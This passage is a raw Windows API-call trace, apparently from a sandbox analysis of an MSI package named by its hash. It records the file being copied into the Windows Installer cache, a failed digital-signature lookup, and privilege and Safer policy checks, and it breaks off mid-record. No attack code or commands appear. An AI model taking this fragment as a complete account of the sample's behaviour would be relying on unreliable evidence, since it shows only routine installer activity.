lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.799] GetTickCount () returned 0x1876ff9 [0120.799] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.799] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.800] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.801] GetTickCount () returned 0x1876ff9 [0120.801] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.801] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.802] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.803] GetTickCount () returned 0x1876ff9 [0120.803] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.803] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.804] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.806] GetTickCount () returned 0x1876ff9 [0120.806] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.806] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.807] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.809] GetTickCount () returned 0x1876ff9 [0120.809] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.809] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.809] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.811] GetTickCount () returned 0x1876ff9 [0120.811] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.811] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.812] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.839] GetTickCount () returned 0x1877018 [0120.839] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.839] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.841] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.843] GetTickCount () returned 0x1877018 [0120.843] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.843] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.844] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.846] GetTickCount () returned 0x1877028 [0120.846] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.846] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.846] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.848] GetTickCount () returned 0x1877028 [0120.848] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.848] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.848] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.850] GetTickCount () returned 0x1877028 [0120.850] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.850] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.851] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.853] GetTickCount () returned 0x1877028 [0120.853] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.853] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.854] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.855] GetTickCount () returned 0x1877028 [0120.855] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.855] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.856] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.857] GetTickCount () returned 0x1877028 [0120.857] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.857] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.858] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.859] GetTickCount () returned 0x1877028 [0120.859] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.859] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.870] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.875] GetTickCount () returned 0x1877037 [0120.875] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.875] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.875] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.877] GetTickCount () returned 0x1877047 [0120.877] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.877] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.878] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.879] GetTickCount () returned 0x1877047 [0120.880] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.880] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.880] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.881] GetTickCount () returned 0x1877047 [0120.882] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.882] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.883] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.885] GetTickCount () returned 0x1877047 [0120.885] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.885] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.885] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.887] GetTickCount () returned 0x1877047 [0120.887] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.887] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.888] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.889] GetTickCount () returned 0x1877047 [0120.889] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.889] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.890] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.892] GetTickCount () returned 0x1877056 [0120.892] GetCurrentThreadId () returned 0xf50 [0120.892] GetCurrentThreadId () returned 0xf50 [0120.892] SetEvent (hEvent=0x170) returned 1 [0120.892] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0120.894] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.895] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.896] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.898] GetTickCount () returned 0x1877056 [0120.898] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.898] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.899] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.900] GetTickCount () returned 0x1877056 [0120.901] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.901] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.901] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.903] GetTickCount () returned 0x1877056 [0120.903] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.903] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.903] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.905] GetTickCount () returned 0x1877056 [0120.905] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.905] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.909] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.911] GetTickCount () returned 0x1877066 [0120.911] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.912] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.912] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.914] GetTickCount () returned 0x1877066 [0120.914] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.914] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x0, lpOverlapped=0x0) returned 1 [0120.914] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0120.914] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi")) returned 0x20 [0120.914] GetFileTime (in: hFile=0x1dc, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x10cf158 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x10cf158*(dwLowDateTime=0xdc9ad800, dwHighDateTime=0x1d8a8d7)) returned 1 [0120.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10cf138 | out: lpSystemTimeAsFileTime=0x10cf138*(dwLowDateTime=0x76a57d90, dwHighDateTime=0x1d8a8f3)) [0120.914] SetFileTime (hFile=0x1d8, lpCreationTime=0x10cf128, lpLastAccessTime=0x10cf138, lpLastWriteTime=0x10cf128) returned 1 [0120.914] CloseHandle (hObject=0x1dc) returned 1 [0120.914] CloseHandle (hObject=0x1d8) returned 1 [0121.071] GetCurrentThreadId () returned 0xf50 [0121.071] GetCurrentThreadId () returned 0xf50 [0121.071] SetEvent (hEvent=0x170) returned 1 [0121.071] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0121.132] lstrlenW (lpString="1876eff.msi") returned 11 [0121.132] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.132] IUnknown:Release (This=0x2fcb20) returned 0x0 [0121.134] lstrlenW (lpString="C:\\Windows\\Installer\\1876eff.msi") returned 32 [0121.134] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0121.134] UrlIsW (pszUrl="C:\\Windows\\Installer\\1876eff.msi", UrlIs=0x0) returned 0 [0121.134] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0121.134] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi")) returned 0x20 [0121.134] lstrlenW (lpString="C:\\Windows\\Installer\\1876eff.msi") returned 32 [0121.134] StgOpenStorage (in: pwcsName="C:\\Windows\\Installer\\1876eff.msi", pstgPriority=0x0, grfMode=0x20, snbExclude=0x0, reserved=0x0, ppstgOpen=0x10cf238 | out: ppstgOpen=0x10cf238*=0x2fcb20) returned 0x0 [0121.142] IUnknown:AddRef (This=0x2fcb20) returned 0x2 [0121.142] IStorage:Stat (in: This=0x2fcb20, pstatstg=0x10cf130, grfStatFlag=0x0 | out: pstatstg=0x10cf130) returned 0x0 [0121.142] lstrlenW (lpString="C:\\Windows\\Installer\\1876eff.msi") returned 32 [0121.142] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x10cf128 | out: ppMalloc=0x10cf128*=0x7fefd6b5380) returned 0x0 [0121.142] IMalloc:Free (This=0x7fefd6b5380, pv=0x2fa5d0) [0121.142] IUnknown:AddRef (This=0x7fefd6b5380) returned 0x1 [0121.142] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0121.142] IUnknown:Release (This=0x2fcb20) returned 0x1 [0121.142] IStorage:Stat (in: This=0x2fcb20, pstatstg=0x10cf120, grfStatFlag=0x1 | out: pstatstg=0x10cf120) returned 0x0 [0121.143] lstrlenW (lpString="\x05DigitalSignature") returned 17 [0121.143] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="\x05DigitalSignature", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ced30, ppstm=0x0 | out: ppstm=0x0) returned 0x80030002 [0121.143] lstrlenW (lpString="\x05DigitalSignature") returned 17 [0121.143] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", UrlIs=0x0) returned 0 [0121.143] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0121.143] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x2fa5d0 [0121.143] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CreateWellKnownSid") returned 0x7fefe7bdd34 [0121.144] CreateWellKnownSid (in: WellKnownSidType=0x16, DomainSid=0x0, pSid=0x2fa5d0, cbSid=0x10cee08 | out: pSid=0x2fa5d0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), cbSid=0x10cee08) returned 1 [0121.144] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x2fa5d0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), IsMember=0x10cee00 | out: IsMember=0x10cee00) returned 1 [0121.144] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x2fa710 [0121.144] CreateWellKnownSid (in: WellKnownSidType=0xc, DomainSid=0x0, pSid=0x2fa710, cbSid=0x10cee10 | out: pSid=0x2fa710*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6), cbSid=0x10cee10) returned 1 [0121.144] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x2fa710*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6), IsMember=0x10cee00 | out: IsMember=0x10cee00) returned 1 [0121.144] LocalFree (hMem=0x2fa5d0) returned 0x0 [0121.145] LocalFree (hMem=0x2fa710) returned 0x0 [0121.145] GetCurrentThread () returned 0xfffffffffffffffe [0121.145] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xc, OpenAsSelf=1, TokenHandle=0x10ceea8 | out: TokenHandle=0x10ceea8*=0x1d8) returned 1 [0121.145] GetTokenInformation (in: TokenHandle=0x1d8, TokenInformationClass=0xf, TokenInformation=0x10cee98, TokenInformationLength=0x4, ReturnLength=0x10ceeb0 | out: TokenInformation=0x10cee98, ReturnLength=0x10ceeb0) returned 1 [0121.145] CloseHandle (hObject=0x1d8) returned 1 [0121.145] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SaferiChangeRegistryScope") returned 0x7fefe8152d0 [0121.145] SaferiChangeRegistryScope () returned 0x1 [0121.146] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SaferIdentifyLevel") returned 0x7fefe7ce470 [0121.146] IdentifyCodeAuthzLevelW () returned 0x1 [0121.155] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SaferGetLevelInformation") returned 0x7fefe7b7ea0 [0121.155] GetInformationCodeAuthzLevelW () returned 0x1 [0121.155] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SaferCloseLevel") returned 0x7fefe7cf660 [0121.155] CloseCodeAuthzLevel () returned 0x0 [0121.156] lstrlenW (lpString="\\\\tsclient\\") returned 11 [0121.156] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0121.156] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", cchCount1=11, lpString2="\\\\tsclient\\", cchCount2=11) returned 3 [0121.156] 